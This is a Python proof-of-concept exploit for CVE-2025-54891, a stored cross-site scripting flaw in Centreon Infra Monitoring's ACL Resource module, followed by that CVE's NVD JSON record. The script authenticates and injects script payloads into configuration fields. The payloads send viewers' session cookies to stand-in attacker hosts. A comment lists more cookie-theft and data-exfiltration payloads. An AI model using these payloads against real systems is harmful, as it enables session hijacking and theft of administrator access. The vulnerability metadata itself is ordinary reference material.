CVE-2025-54891

# CVE-2025-54891 - Centreon Infra Monitoring Stored XSS PoC # Vulnerability: Stored XSS in ACL Resource access configuration modules # Affected: Centreon Infra Monitoring 24.10.0 before 24.10.13, 24.04.0 before 24.04.18, 23.10.0 before 23.10.28 import requests TARGET_URL = "https://target-centreon.example.com" USERNAME = "elevated_user" PASSWORD = "password123" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_payload = { "useralias": USERNAME, "password": PASSWORD, "submitLogin": "Connect" } session.post(f"{TARGET_URL}/centreon/api/latest/login", data=login_payload) # Step 2: Inject malicious XSS payload into ACL Resource configuration # The payload will be stored in the database and executed when other users view the configuration xss_payload = { "resource_name": "<script>alert('XSS-CVE-2025-54891');document.location='https://attacker.example.com/steal?cookie='+document.cookie;</script>", "resource_alias": "test_resource", "comment": "<img src=x onerror=fetch('https://attacker.example.com/steal?data='+btoa(document.cookie))>", "activate": "1" } # Step 3: Submit the malicious configuration to the ACL Resource endpoint response = session.post( f"{TARGET_URL}/centreon/main.php?p=60103", data=xss_payload ) if response.status_code == 200: print("[+] XSS payload successfully stored in ACL Resource configuration") print("[+] When an admin views this resource, the script will execute") else: print(f"[-] Failed to inject payload. Status code: {response.status_code}") # Alternative payload examples for manual testing: # 1. Simple alert: <script>alert('XSS')</script> # 2. Cookie theft: <script>new Image().src='https://attacker.com/c?'+document.cookie</script> # 3. Event-based: <svg onload=alert(1)> # 4. Data exfiltration: <script>fetch('https://attacker.com/exfil',{method:'POST',body:JSON.stringify({c:document.cookie})})</script>

{"cve": {"id": "CVE-2025-54891", "sourceIdentifier": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "published": "2025-10-14T15:16:10.077", "lastModified": "2025-10-21T19:40:51.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Centreon Infra Monitoring (ACL Resource access configuration modules) allows Stored \n\nXSS by users with elevated privileges.\n\nThis issue affects Infra Monitoring: from 24.10.0 before 24.10.13, from 24.04.0 before 24.04.18, from 23.10.0 before 23.10.28."}], "metrics": {"cvssMetricV31": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.10.0", "versionEndExcluding": "23.10.28", "matchCriteriaId": "52CE7EB8-492F-4469-9E01-8C63144D785F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.04.0", "versionEndExcluding": "24.04.18", "matchCriteriaId": "7C3C1C61-F2EB-4900-9BB7-C80A6C538E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.10.0", "versionEndExcluding": "24.10.13", "matchCriteriaId": "09800EB4-10FC-4667-9FC8-88D9A8BB2751"}]}]}], "references": [{"url": "https://github.com/centreon/centreon/releases", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Release Notes"]}, {"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-54891-centreon-web-all-versions-medium-severity-5122", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Vendor Advisory"]}]}}